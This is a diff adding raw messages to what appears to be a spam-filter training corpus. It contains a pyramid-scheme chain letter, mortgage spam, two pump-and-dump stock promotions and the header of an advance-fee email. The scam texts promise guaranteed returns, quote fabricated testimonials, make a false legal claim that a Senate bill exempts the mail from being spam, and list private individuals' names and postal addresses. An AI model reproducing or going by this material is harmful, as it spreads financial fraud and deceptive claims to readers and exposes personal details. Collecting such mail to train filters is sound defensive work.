getting paid for the work of +others. + +The enclosed information is something I almost let slip through my +fingers. Fortunately, sometime later I reread everything and gave +some thought and study to it. + +My name is Jonathan Rourke. Two years ago, the corporation I +worked at for the past twelve years down- sized and my position +was eliminated. After unproductive job interviews, I decided to +open my own business. Over the past year, I incurred many +unforeseen financial problems. I owed my family, friends and +creditors over $35,000. The economy was taking a toll on my +business and I just couldn't seem to make ends meet. I had to +refinance and borrow against my home to support my family and +struggling business. AT THAT MOMENT something significant happened +in my life and I am writing to share that experience in hopes that +this will change your life FOREVER FINANCIALLY!!! + +In mid December, I received this program via e-mail. Six month's +prior to receiving this program, I had been sending away for +information on various business opportunities. All of the programs +I received, in my opinion were not cost effective. They were +either too difficult for me to comprehend or the initial +investment was too much for me to risk to see if they would work +or not. One claimed that I would make a million dollars in one +year. It didn't tell me I'd have to write a book to make it! + +But like I was saying, in December I received this program. I +didn't send for it, or ask for it; they just got my name off a +mailing list. THANK GOODNESS FOR THAT!!! +After reading it several times, to make sure I was reading it +correctly, I couldn't believe my eyes. + +Here was a MONEY MAKING PHENOMENON. + +I could invest as much as I wanted to start without putting me +further into debt. After I got a pencil and paper and figured it +out, I would at least get my money back. But like most of you I +was still a little skeptical and a little worried about the legal +aspects of it all. So I checked it out with the U.S. Post Office +(1-800-725-2161 24 hrs) and they confirmed that it is indeed +legal! After determining the program was LEGAL and NOT A CHAIN +LETTER, I decided "WHY NOT." + +Initially I sent out 10,000 e-mails. It cost me about $15 for my +time on-line. The great thing about e-mail is that I don't need +any money for printing to send out the program, and because all of +my orders are filled via e-mail, the only expense is my time. I am +telling you like it is. I hope it doesn't turn you off, but I +promised myself that I would not 'rip-off" anyone, no matter how +much money it cost me. +Here is the basic version of what you need to do: + +Your first goal is to receive at least 20 orders for Report #1 +within 2 weeks of your first program going out. IF YOU DON'T, SEND +OUT MORE PROGRAMS UNTIL YOU DO. + +Your second goal is to receive at least 150+ orders for Report #2 +within 4 weeks. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. + +Once you have your 150 orders, relax, you've met your goal. You +will make $50,000+ but keep at it! If you don't get 150 right off, +keep at it! It may take some time for your down line to build. +Keep at it, stay focused, and do not let yourself get distracted. + +In less than one week, I was starting to receive orders for REPORT +#1. I kept at it - kept mailing out the program and by January 13, +1 had received 26 orders for REPORT #1. My first step in making +$50,000 in 90 days was done. + +By January 30, 1 had received 196 orders for REPORT #2; 46 more +than I needed. So I sat back and relaxed. By March 1, of my +e-mailing of 10,000, I received $58,000 with more coming in every +day. I paid off ALL my debts and bought a much needed new car. +Please take time to read the attached program, IT WILL CHANGE YOUR +LIFE FOREVER!! Remember, it won't work if you don't try it. This +program does work, but you must follow it EXACTLY! Especially the +rules of not trying to place your name in a different place. It +won't work, you'll lose out on a lot of money! + +In order for this program to work very fast, try to meet your goal +of 20+ orders for Report #1, and 150+ orders for Report #2 and you +will make $50,000 or more in 90 days. If you don't reach the first +two goals with in four weeks, relax, you will still make a ton of +money, it may take a few months or so longer. But keep mailing out +the programs and stay focused! That's the key. I AM LIVING PROOF +THAT IT WORKS!!! If you choose not to participate in this program, +I am sorry. It really is a great opportunity with little cost or +risk to you. If you choose to participate, follow the program and +you will be on your way to financial security. + +If you are a fellow business owner and are in financial trouble +like I was, or you want to start your own business, consider this +a sign. I DID! -Sincerely, Jonathan Rourke + +P.S. Do you have any idea what 11,700 $5 bills ($58,000) look +like piled up on a kitchen table? IT'S AWESOME! + +A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM: + +By the time you have read the enclosed program and reports, you +should have concluded that such a program, and one that is legal, +could not have been created by an amateur. + +Let me tell you a little about myself. I had a profitable business +for 10 years. Then in 1979 my business began falling off. I was +doing the same things that were previously successful for me, but +it wasn't working. + +Finally, I figured it out. It wasn't me; it was the economy. +Inflation and recession had replaced the stable economy that had +been with us since 1945. + +I don't have to tell you what happened to the unemployment +rate...because many of you know from first hand experience. There +were more failures and bankruptcies than ever before. + +The middle class was vanishing. Those who knew what they were +doing invested wisely and moved up. Those who did not including +those who never had anything to save or invest were moving down +into the ranks of the poor. + +As the saying goes, 'THE RICH GET RICHER AND THE POOR GET POORER." +The traditional Methods of making money will never allow you to +"move up" or "get rich". Inflation will see to that. + +You have just received information that can give you financial +freedom for the rest of your life, with "NO RISK"and "JUST A +LITTLE BIT OF EFFORT." You can make more money in the next few +months than you have ever imagined. + +Follow the program EXACTLY AS INSTRUCTED. Do not change it in any +way. It works exceedingly well as it is now. Remember to e-mail a +copy of this exciting report to everyone you can think of. One of +the people you send this to may send out 50,000 ... and your name +will be on everyone of them! + +Remember though, the more you send out the more potential +customers you will reach. + +So my friend, I have given you the ideas, information, materials +and opportunity to become financially independent. IT IS UP TO +YOU NOW! + +"THINK ABOUT IT." Before you delete this program from your +mailbox, as I almost did, take a little time to read it and REALLY +THINK ABOUT IT. Get a pencil and figure out what could happen when +YOU participate. Figure out the worst possible response and no +matter how you calculate it, you will still make a lot of money! +You will definitely get back what you invested. Any doubts you +have will vanish when your first orders come in. IT WORKS! -Jody +Jacobs, Richmond, VA + +HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF DOLLAR$ + +This method of raising capital REALLY WORKS 100% EVERY TIME. I am +sure that you could use up to $50,000 or more in the next 90 days. + +Before you say "No Way!" please read this program carefully. This +is not a chain letter, but a perfectly legal money making +opportunity. Basically, this is what you do: As with all +multilevel businesses, we- build our business by recruiting new +partners and selling our products. Every state in the USA allows +you to recruit new multilevel business partners, and we offer a +product for EVERY dollar sent. YOUR ORDERS COME BY MAIL AND ARE +FILLED BY E-MAIL, so you are not involved in personal selling. You +do it privately in your own home, store, or office. + +This is the GREATEST Multi-Level Mail Order Marketing anywhere: +This is what you MUST do. + +1. Order all 5 reports shown on the list below (You can't sell +them if you don't have them). + +* For each report, send $5.00 CASH, the NAME & NUMBER OF THE +REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & +RETURN ADDRESS (in case of a problem). + +*MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE - IN CASE OF +ANY MAIL PROBLEMS! + +* When you place your order, make sure you order each of the five +reports. You need all five reports so that you can save them on +your computer and resell them. + +* Within a few days you will receive, via e-mail, each of the five +reports. Save them on your computer so they will be accessible for +you to send to the 1,000's of people who will order them from you. + +2. IMPORTANT- DO NOT alter the names of the people who are listed +next to each report, or their order +on the list in any way other than as instructed below in steps "a" +through 'g" or you will lose out on the majority of your profits. +Once you understand the way this works you'll also see how it +doesn't work if you change it. Remember, this method has been +tested, and if you alter it, it will not work. + +a. Look below for the listing of available reports. + +b. After you've ordered the. five reports, take this Advertisement +and remove the name and address under REPORT #5. This person has +made it through the cycle and is no doubt counting their $50,000! + +c. Move the name and address under REPORT #4 down to REPORT #5. + +d. Move the name and address under REPORT #3 down to REPORT #4. + +e. Move the name and address under REPORT #2 down to REPORT #3 + +f. Move the name and address under REPORT #1 down to REPORT #2. + +g. Insert your name and address in the REPORT #1 position. + +Please make sure you copy every name and address ACCURATELY! Copy +and paste method works well,. + +3. Take this entire letter, including the modified list of names, +and save it to your computer. Make NO changes to the Instruction +portion of this letter. + +Your cost to participate in this is practically nothing (surely +you can afford $25). You obviously already have an Internet +Connection and e-mail is FREE! + +To assist you with marketing your business on the internet, the 5 +reports you purchase will provide you with invaluable marketing +information which includes how to send bulk e-mails, where to find +thousands of free classified ads and much, much more. + +Here are two primary methods of building your downline: + +METHOD #1: SENDING BULK E-MAIL + +Let's say that you decide to start small, just to see how it goes, +and we'll assume you and all those involved send out only 2,000 +programs each. Let's also assume that the mailing receives a 0.5% +response. Using a good list, the response could be much better. +Also, many people will send out hundreds of thousands of programs +instead of 2,000. But continuing with this example, you send out +only 2,000 programs. With a 0.5% response, that is only 10 orders +for REPORT #1. Those 10 people respond by sending out 2,000 +programs each for a total of 20,000. Out of those 0.5%, 100 people +respond and order REPORT #2. + +Those 100 mail out 2,000 programs each for a total of 200,000. The +0.5% response to that is 1,000 orders for REPORT #3. Those 1,000 +send out 2,000 programs each for a 2,000,000 total. The 0.5% +response to that is I 0,000 orders for REPORT #4. That amounts to +10,000 each of $5 bills for you in CASH MONEY! Then think about +level five! That's $500,000 alone! + +Your total income in this example is $50 + $500 + $5,000+ $50,000 ++ $500,000 for a total of $555,550!!! + +REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE +YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! +DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF +SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000. Believe me, many +people will do just that and more! + +REPORT #2 will show you the best methods for bulk e-mailing, and +e-mail software. + +METHOD #2 - PLACING FREE ADS ON THE INTERNET + +1. Advertising on the Net is very, very inexpensive, and there are +HUNDREDS of FREE places to advertise. Let's say you decide to +start small just to see how well it works. Assume your goal is to +get ONLY 10 people to participate on your first level. Placing a +lot of FREE ads on the internet will EASILY get a larger response. +Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 +downline members. Follow this example to achieve the STAGGERING +results below: + +1st level-your 10 members with $5 ....... $50 +2nd level-10 members from those 10 ($5 x 100) ....... $500 +3rd level-10 members from those 100 ($5 x 1,000)....... $5,000 +4th level-10 members from those 1,000 ($5 x 10k) ....... $50,000 +5th level-10 members from those 10,000 ($5 x 100k) ....... $500,000 + +THIS TOTALS - $555,550 + +Remember friends, this assumes that the people who participate +only recruit 10 people each. Think for a moment what would happen +if they got 20 people to participate! Most people get 100's of +participants. + +THINK ABOUT IT! For every $5.00 you receive, all you must do is +e-mail them the report they ordered. THAT'S IT! ALWAYS PROVIDE +SAME-DAY SERVICE ON ALL ORDERS! This will guarantee that the +e-mail THEY send out with YOUR name and address on it will be +prompt because they can't advertise until they receive the report! + +AVAILABLE REPORTS *** Order Each REPORT by NUMBER, AND +NAME *** + +* ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT. CHECKS NOT +ACCEPTED * - ALWAYS SEND YOUR ORDER VIA FIRST CLASS MAIL - Make +sure the cash is concealed by wrapping it in at least two sheets +of paper (SO THAT THE BILL CAN'T BE SEEN AGAINST LIGHT) On one of +those sheets of paper include: +(a) the number & name of the report you are ordering, +(b) your e-mail address, and +(c) your name & postal address (in case your e-mail provider +encounters problems). + +PLACE YOUR ORDER FOR THESE REPORTS NOW: + +REPORT #1 "The Insiders Guide to Advertizing for Free on the +Internet" + +ORDER REPORT #1 FROM: +Randy Dillard +P.O. Box 8 +Osprey, FL 34229 +USA + + +REPORT #2 "The Insiders Guide to Sending Bulk Email on the +Internet" + +ORDER REPORT #2 FROM: +Carla Brown +P.O. Box 39093 +Sarasota, FL 34238 +USA + + +REPORT #3 "The Secrets to Multilevel Marketing on the Internet" + +ORDER REPORT #3 FROM: +Glynn Schmidt +P.O. Box 19424 +Sarasota, FL 34276 +USA + + +REPORT #4 'How to become a Millionaire utilizing the Power of +Multilevel Marketing and the Internet" + +ORDER REPORT #4 FROM: +Christin Joy +CPO 2398 +501 E. College Avenue +Wheaton, IL 60187 +USA + + +REPORT #5 "How to Send One Million E-Mails for Free." + +ORDER REPORT #5 FROM: +Cheri Gerhart +81719 Lido Avenue +Indio, CA 92201 +USA + + +About 50,000 new people get online every month! + +******* TIPS FOR SUCCESS ******* + +* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow +the directions accurately. + +* Send for the five reports IMMEDIATELY so you will have them when +the orders start coming in. When you receive a $5 order, you MUST +send out the requested product/report. + +* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. + +* Be patient and persistent with this program. If you follow the +instructions exactly, your results WILL BE SUCCESSFUL! + +* ABOVE ALL, HAVE FAITH IN YOURSELF AND KNOW YOU WILL SUCCEED! + +******* YOUR SUCCESS GUIDELINES ******* + +Follow these guidelines to guarantee your success: + +Start posting ads as soon as you mail off for the reports! By the +time you start receiving orders, your reports will be in your +mailbox! For now, something simple, such as posting on message +boards something to the effect of "Would you like to know how to +earn $50,000 working out of your house with NO initial investment? +Email me with the keywords "more info" to find out how. And, when +they email you, send them this report in response! + +If you don't receive 20 orders for REPORT #1 within two weeks, +continue advertising or sending e-mails until you do. + +Then, a couple of weeks later you should receive at least 100 +orders for REPORT#2. If you don't, continue advertising or sending +e-mails until you do. Once you have received 100 or more orders +for REPORT #2, YOU CAN RELAX, because the system is already +working for you, and the cash will continue to roll in! + +THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down +on the list you are placed in front of a DIFFERENT report. You can +KEEP TRACK of your PROGRESS by watching which report people are +ordering from you. If you want to generate more income, send +another batch of e-mails or continue placing ads and start the +whole process again! There is no limit to the income you will +generate from this business! + +Before you make your decision as to whether or not you participate +in this program, answer one question ... +DO YOU WANT TO CHANGE YOUR LIFE? If the answer is yes, please look +at the following facts about this program: + +1. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST ANYTHING TO +PRODUCE! + +2. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST ANYTHING TO SHIP! + +3. YOU ARE SELLING A PRODUCT WHICH DOES NOT COST YOU ANYTHING TO +ADVERTISE! + +4. YOU ARE UTILIZING THE POWER OF THE INTERNET AND THE POWER OF +MULTI-LEVEL MARKETING TO DISTRIBUTE YOUR PRODUCT ALL OVER THE +WORLD! + +5. YOUR ONLY EXPENSES OTHER THAN YOUR INITIAL $25 INVESTMENT IS +YOUR TIME! + +6. VIRTUALLY ALL OF THE INCOME YOU GENERATE FROM THIS PROGRAM IS +PURE PROFIT! + +7. THIS PROGRAM WILL CHANGE YOUR LIFE FOREVER. + +******* TESTIMONIALS******* + +This program does work, but you must follow it EXACTLY! Especially +the rule of not trying to place your name in a different position, +it won't work and you'll lose a lot of potential income. I'm +living proof that it works. It really is a great opportunity to +make relatively easy money, with little cost to you. If you do +choose to participate, follow the program exactly, and you'll be +on your way to financial security. -Steven Bardfield, Portland, OR + +My name is Mitchell. My wife, Jody, and I live in Chicago, IL. I +am a cost accountant with a major U.S. Corporation and I make +pretty good money. When I received the program I grumbled to Jody +about receiving "junk mail." I made fun of the whole thing, +spouting my knowledge of the population and percentages involved. +I 'knew' it wouldn't work. Jody totally ignored my supposed +intelligence and jumped in with both feet. I made merciless fun of +her, and was ready to lay the old 'I told you so' on her when the +thing didn't work... well, the laugh was on me! Within two weeks +she had received over 50 responses. Within 45 days she had +received over $147,200 in $5 bills! I was shocked! I was sure that +I had it all figured and that it wouldn't work. I AM a believer +now. I have joined Jody in her "hobby. " I did have seven more +years until retirement, but I think of the 'rat race,' and it's +not for me. We owe it all to MLM. -Mitchell Wolf MD., Chicago, IL. + +The. main reason for this letter is to convince you that this +system is honest, lawful, extremely profitable, and is a way to +get a large amount of money in a short time. I was approached +several times before 1 checked this out. I joined just to see what +one could expect in return for the minimal effort and money +required. To my astonishment I received $36,470.00 in the first 14 +weeks, with money still coming in. +-Charles Morris, Esq. + +Not being the gambling type, it took me several weeks to make up +my mind to participate in this plan. But conservative that I am, I +decided that the initial investment was so little that there was +just no way that I wouldn't get enough orders to at least get my +money back. Boy, was I surprised when I found my medium- size post +office box crammed with orders! For awhile, it got so overloaded +that I had to start picking up my mail at the window. I'll make +more money this year than any 10 years of my life before. The nice +thing about this deal is that it doesn't matter where people live. +There simply isn't a better investment with a faster return. +-Paige Willis, Des Moines, IA + +I had received this program before. I deleted it, but later I +wondered if I shouldn't have given it a try. Of course, I had no +idea who to contact to get another copy, so I had to wait until I +was e-mailed another program ... 11 months passed then it came ... +I didn't delete this one! ... I made. more than $41,000 on the +first try!! -Violet Wilson, Johnstown, PA + +This is my third time to participate in this plan. We have quit +our jobs, and will soon buy a home on the beach and live off the +interest on our money. The only way on earth that this plan will +work for you is if you do it. For your sake, and for your family's +sake don't pass up this golden opportunity. Good luck and happy +spending! -Kerry Ford, Centerport, NY + +IT IS UP TO YOU NOW! Take 5 minutes to Change Your Future! + +ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO FINANCIAL +FREEDOM! + +FOR YOUR INFORMATION: If you need help with starting a business, +registering a business name, learning how income tax is handled, +etc., contact your local office of the Small Business +Administration (a Federal agency) 1(800) 827-5722 for free help +and answers to questions. Also, the Internal Revenue Service +offers free help via telephone and free seminars about business +tax requirements. + +Under Bill S1618 Title HI passed by the 105th US Congress this +letter cannot be considered spam as long as the sender includes +contact information and a method of removal. This is a one time +e-mail transmission. No request for removal is necessary To +remove (even though this is not necessary) press +whenopportunityknocksssss@yahoo.com + +STOP! If you never read another e-mail PLEASE take a moment to +read this one. This really is worth your valuable time. Even if +you never got involved in the program, the reports themselves are +well worth the money. They can help you start and advertise ANY +business on the internet. That is, these reports stand alone and +are beneficial to anyone wishing to do business on the internet. + +At the very least PRINT THIS OUT NOW to read later if you are +pressed for time. + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00908.718f913e615b66df1c33cfb0af8e8885 b/bayes/spamham/spam_2/00908.718f913e615b66df1c33cfb0af8e8885 new file mode 100644 index 0000000..b9df233 --- /dev/null +++ b/bayes/spamham/spam_2/00908.718f913e615b66df1c33cfb0af8e8885 @@ -0,0 +1,178 @@ +From fork-admin@xent.com Tue Jul 23 01:01:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2BB3A440C8 + for ; Mon, 22 Jul 2002 20:01:42 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 01:01:42 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6N00i409175 for ; + Tue, 23 Jul 2002 01:00:45 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CE80C29409B; Mon, 22 Jul 2002 16:50:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from yahoo.com (unknown [62.0.26.99]) by xent.com (Postfix) with + SMTP id 74246294098 for ; Mon, 22 Jul 2002 16:49:25 -0700 + (PDT) +To: fork@spamassassin.taint.org +From: fork@spamassassin.taint.org +Message-Id: +X-Priority: 3 (Normal) +Received: from yahoo.com by KH7H9P22F.yahoo.com with SMTP for + fork@xent.com; Mon, 22 Jul 2002 20:04:39 -0500 +Reply-To: fork@spamassassin.taint.org +MIME-Version: 1.0 +Subject: You're Paying Too Much +X-Encoding: MIME +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 22 Jul 2002 20:04:39 -0500 +Content-Type: multipart/alternative; boundary="----=_NextPart_17_618511768207" +Content-Transfer-Encoding: Quoted-Printable + +This is a multi-part message in MIME format. + +------=_NextPart_17_618511768207 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: Quoted-Printable + +We will help you get the mortgage loan you want! + +Only takes 2 minutes to fill out our form. +http://202.105.49.100/index.php + +Whether a new home loan is what you seek or to refinance your current home = +loan +at a lower interest rate and payment, we can help! + +Mortgage rates haven't been this low in the last 12 months, take action now! +Refinance your home with us and include all of those pesky credit card bills = +or +use the extra cash for that pool you've always wanted... + +Where others says NO, we say YES!!! +Even if you have been turned down elsewhere, we can help! + +Easy terms! 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charset="ISO-8859-1" +Date: Tue, 23 Jul 2002 09:19:16 +0800 +Content-Transfer-Encoding: 8bit +Sender: owner-cypherpunks@ssz.com +Precedence: bulk +Reply-To: cypherpunks@ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + + + + + + + +Email Marketing + + + + + +
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    +Xin.Lan Internet Marketing Center

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    +
    + = + + Fo= +r + Immediate Release
    +
    +
    +

    + + Cal-Bay (Stock Symbol: CBYI) + Watch for analyst =22Strong Buy Recommendations=22 and sev= +eral advisory newsletters + picking CBYI.   CBYI has filed to be traded on the = +;OTCBB, + share prices historically INCREASE when companies get listed + on this larger trading exhange. CBYI is trading around 25 ce= +nts + and should skyrocket to =242.66 - =243.25 a share in the near futur= +e.   + Put CBYI on your watch list, acquire a postion + TODAY. + = + + +

    REASONS TO INVEST IN CBYI +

  • A profitable company and is on = +track to beat ALL + earnings estimates + =21 +
  • One of the FASTEST growing distrib= +utors in environmental & safety + equipment instruments. +
  • = + + Excellent management team= +, several EXCLUSIVE + contracts.  IMPRESSIVE client list including the U.S. A= +ir Force, + Anheuser-Busch, Chevron Refining and Mitsubishi Heavy Industries,= + + GE-Energy & Environmental Research. +

    + RAPID= +LY GROWING INDUSTRY 
    Industry revenues exceed =24900 mil= +lion, estimates indicate that there + could be as much as =2425 billion from =22smell technology=22 by the= + end of + 2003.

    +

    + =21=21=21= +=21=21 CONGRATULATIONS + =21=21=21=21=21
    Our last recommendation to buy ORBT a= +t + =241.29 rallied and is holding steady at =244.51=21&n= +bsp; + Congratulations to all our subscribers that took advantage of thi= +s + recommendation.

    +

    + = + +






    +

    + ALL removes HONER= +ED. Please allow 7 + days to be removed and send ALL address to: +NeverAgain=40btamail.net.cn +

    • +
    +

    +  

    +

    +  

    +

    + Certain statements contained in this news release m= +ay be +forward-looking statements within the meaning of The Private Securities= + +Litigation Reform Act of 1995. These statements may be identified by su= +ch terms +as =22expect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or simila= +r terms. We are NOT +a registered investment advisor or a broker dealer. This is NOT an offe= +r to buy +or sell securities. No recommendation that the securities of the compan= +ies +profiled should be purchased, sold or held by individuals or entities t= +hat learn +of the profiled companies. We were paid =2427,000 in cash by a third par= +ty to +publish this report. Investing in companies profiled is high-risk and u= +se of +this information is for reading purposes only. If anyone decides to act= + as an +investor, then it will be that investor's sole risk. Investors are advi= +sed NOT +to invest without the proper advisement from an attorney or a registere= +d +financial broker. Do not rely solely on the information presented, do a= +dditional +independent research to form your own opinion and decision regarding in= +vesting +in the profiled companies. Be advised that the purchase of such high-ri= +sk +securities may result in the loss of your entire investment. = + + The owners of this publication may already own free trading sha= +res in +CBYI and may immediately sell all or a portion of these shares into the= + open +market at or about the time this report is published.  Factual sta= +tements +are made as of the date stated and are subject to change without notice= +.  +Not intended for recipients or residents of CA,CO,CT,DE,ID, + IL,IA,LA,MO,NV,NC,OK,OH,PA,RI,TN,VA,WA,WV,WI. Void where +prohibited.  + Copyright c 2001

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    + +

    July 21, 2002

    + +

    Greeting fellow Investors,

    + +

    Take a look at this inexpensive stock!

    + + + + + +
    + + + + +

    Company Profile For: +         VIRTUAL + GAMING ENTERPRISES, INC..

    +

                                                                       + OTC:VTGE

    +
    + + + + + +
      + + + +
    + + + +
    + + + +

    For your investment consideration!

    +

    OTC: VTGE

    +

     

    +

    With it's current price of $0.01 the company is currently + trading way below its book value of $0.40/share. A Tremendous investment opportunity has presented itself + with VTGE.  Legislation has been unsuccessful at slowing the  growth of on-line + gaming. The company is Way Undervalued!!!!

    +

     

    +
    +

    A minimal investment of $1000.00 would buy + you 100,000 shares of VTGE at the current price!

    +

    If the stock moves up to even one fourth of what the + company says it's current value is,

    +

    your investment could be "Very Very Profitable!!!

    +
    + + + +

    Virtual Gaming Enterprises owns, operates, and licenses offshore + casinos on the Island of Dominica.

    +

     

    +

    VIRTUAL GAMING + ENTERPRISES, INC.

    +

    OTC: VTGE

    +

      +

    +
    + + + + + + + + +

    Symbol:

    +

    VTGE

    DATE:

    +

    7-21-2002

    Price on

    +

    7-19-2002: $0.01

    52 Week Range:

    +

    $0.0039 - $5.45 info obtained from + bigcharts

    +

     

    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Share-Related Items

     

    Recent Price (July,  19, 2002)

    $.01

    Market Capitalization Approximate

    $215k

    Shares Outstanding Approximate

    21.8M

    Approximate Float

    3.1 M

    Daily Avg. Volume (50 day)

    141K

    Net Tangible Assets Approximate

    $4M

    Net Asset Value per Outstanding Share Approximate:

    $0.40

    Click here to view the chart:

    +

     

      +

    • Audited + Net Assets slightly under $4M.

      +
      • +

    • Net Asset Value per + Outstanding Share of Common Stock is approximately $0.40/share.

      +
      • +
    +
      +

    • Strong + Balance Sheet with no debt.

      +
      • +

    • New site enhancements + and new marketing campaign beginning next quarter

      +
      • +
    +

     

    +
    + + + +

    VIRTUAL GAMING ENTERPRISES, INC.  THE COMPANY

    +

     

    +

    Virtual Gaming Enterprises, Inc., + is in the business of gaming over the Internet. Customers are able to play virtual casino + style games against other members or alone through an Internet connection. The company + awards prizes and bonuses to its premier players in the same fashion as traditional + casinos. These awards programs and unparalleled customer service have made Virtual Gaming’s casinos the place to play on The Net.

    +

    Check it out.

    +

      www.thecasinothemepark.com  +

    +

     

    +
      +

    • The company is + enhancing its already popular casino suite of sites.

      +
      • +

    • The company recently + signed a development agreement with regional site developer Infoflash.com.

      +
      • +

    • The company has + retained Nextleft Tech. to launch an aggressive Marketing campaign.

      +
      • +
    +

     

    +

    Virtual Gaming + Enterprises holds a Master Gaming License from the Commonwealth of Dominica. VTGE asserts + it is well positioned to capture substantial market share of the growing Internet Gaming + Business. A recent report from Bear Stearns (NYSE: BSC) experts expect on-line gaming to + grow to more than $3 billion in 2002. VTGE, through joint ventures and an aggressive + acquisition campaign, operates over 17 Gaming related websites and a 20% interest in Vegas + Book.com, a traditional sports book.

    +

     

    +

    The recent software + development agreement with Infoflash.com gives the company a competitive technology + advantage. Casino players will be will gamble using Flash and Java Games for Desktops and + Laptops.  Furthermore, Virtual Gaming + customers will have the ability to gamble using PDA (Personal Digital Assistants) and + Pocket PC’s.

    +

     

    +
    + + + +

    THE MARKET

    +

      

    +

    Virtual Gaming owns + 17 casino style gaming sites for simulated gaming over the Internet. The company is + launching 5 new sites in 2002.

    +

     

    +

    According to International Data Corp. + (IDC), improved Internet capabilities, next-generation video game consoles, and + nontraditional gaming platforms will draw 40 million households into online gaming by + 2004, up from 25 million in 2000. Building a diversified revenue base is perhaps the + biggest challenge facing online gaming companies. Virtual Gaming intends to earn + additional revenues from licensing its technology and co-branding its games.

    +

     

    +

    This company is trading + way under its current value.

    +

    VIRTUAL GAMING ENTERPRISES, INC., forcasts continued acceleration

    +

    in revenues and in profits.

    +

     

    +

     

    +

    Projected Vital + statistics of online casinos in 2002:

    +

     

      +

    • Total + online wagers - $13 billion per year

      +
      • +

    • Total + wagers minus payouts - $651 million

      +
      • +

    • Number + of online casinos - around 1700

      +
      • +
    +
      +

    • Average + annual online casino revenue - $3 to $4 million

      +
      • +
    +

     

    +

             Good luck Investors!

    +

    Save 40%!

    +

    Save up to 40% on your + internet access. Instead of the + standard $21.95 to $28.95 Now you can get 24/7 unlimited access + with nationwide access numbers on a fast + 56K, V.90 service. Faster connections + than AT&T and AOL, and faster page loads.

    +

    "$16.99 internet + access. 24/7 unlimited with nationwide access numbers."

    +

    Call 1-864-235-2716 .

    +

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    +     + + +11l2 + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00919.0b677a6b8d8bff153989d1708850f985 b/bayes/spamham/spam_2/00919.0b677a6b8d8bff153989d1708850f985 new file mode 100644 index 0000000..2a49a5b --- /dev/null +++ b/bayes/spamham/spam_2/00919.0b677a6b8d8bff153989d1708850f985 @@ -0,0 +1,122 @@ +From fork-admin@xent.com Mon Jul 22 18:14:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E261E440D9 + for ; Mon, 22 Jul 2002 13:13:25 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 18:13:25 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFIT903053 for + ; Mon, 22 Jul 2002 16:18:29 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id KAA31193 for ; Mon, 22 Jul 2002 10:46:13 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C68182940A7; Mon, 22 Jul 2002 02:34:58 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from afzhg813.com (unknown [217.78.76.138]) by xent.com + (Postfix) with SMTP id 06CC5294098 for ; Mon, + 22 Jul 2002 02:34:16 -0700 (PDT) +From: "DR.OLUFEMI COKER" +Reply-To: olu_101@mail.com +To: fork@spamassassin.taint.org +Date: Mon, 22 Jul 2002 22:56:32 -0700 +Subject: INVITATION TO TREAT +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM 